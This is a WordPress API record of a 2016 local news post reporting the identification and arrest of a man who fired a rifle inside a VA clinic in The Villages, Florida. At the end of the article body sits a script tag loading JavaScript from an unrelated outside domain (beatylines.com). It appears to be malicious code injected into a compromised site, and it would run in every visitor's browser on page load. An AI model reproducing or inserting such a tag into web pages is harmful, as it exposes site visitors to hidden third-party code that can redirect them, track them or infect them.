{"id":211301,"date":"2016-12-13T21:11:03","date_gmt":"2016-12-14T02:11:03","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211301"},"modified":"2017-11-04T15:05:13","modified_gmt":"2017-11-04T19:05:13","slug":"va-clinic-shooter-identified","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/va-clinic-shooter-identified\/","title":{"rendered":"Shooter Identified in VA Clinic Shooting"},"content":{"rendered":"<p><strong>THE VILLAGES &nbsp;&#8211;&nbsp;<\/strong>The shooter responsible for the <strong><a href=\"https:\/\/wordpress-1.tempurl.host\/active-shooter-incident-villages-va-clinic\/\">incident that took place early Tuesday<\/a><\/strong> morning has been identified as 60-year-old veteran Stephen Cometa according to a source.<\/p>\n<p>Cometa entered the VA Clinic located on Mulberry Lane in The Villages just after 9:00 am Tuesday armed with an AR-15 rifle.<\/p>\n<p>According to the source, Cometa entered the office and aimed the rifle at an unnamed person working at the Clinic.<\/p>\n<p>A single shot was fired but did not strike anyone thanks to another worker at the clinic who reportedly disarmed Cometa in the process of the shooting.<\/p>\n<p>Marion County Deputies arrived on scene and quickly evacuated the building while investigating the incident.<\/p>\n<p>Due to the clinic being a federal building, the FBI soon arrived and took jurisdiction of the investigation.<\/p>\n<p>Marion County deputies remained on scene to assist agents along with Marion County SWAT and Bomb Squad.<\/p>\n<p>After several hours, the scene was cleared and workers were allowed to re-enter the building.<\/p>\n<p>The clinic remained closed the rest of the day on Tuesday and is expected to re-open Wednesday morning according to VA Clinic personnel.<\/p>\n<p>Officials have not released any further details related to motive or the identity of the person Cometa attempted to shoot.<\/p>\n<p>Cometa was arrested and charged with assault on a federal officer according to Marion County arrest records.<\/p>\n<p>He is currently being held without bond at the Marion County Jail on a federal hold until FBI takes custody of him.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>THE VILLAGES &nbsp;&#8211;&nbsp;The shooter responsible for the incident that took place early Tuesday morning has been identified as 60-year-old veteran Stephen Cometa according to a&#8230;<\/p>\n","protected":false},"author":1,"featured_media":211302,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1,7],"tags":[2271,42,1802,238,85,651,752,109,2270,111,124,2269,135],"class_list":["post-211301","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","category-marion-county","tag-ar15","tag-deputy","tag-fbi","tag-gun","tag-marion","tag-marion-county","tag-mcso","tag-sheriff","tag-shooter","tag-shooting","tag-the-villages","tag-va-clinic","tag-villages","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/12\/stephen-cometa.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211301","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211301"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211301\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211302"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211301"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211301"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211301"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}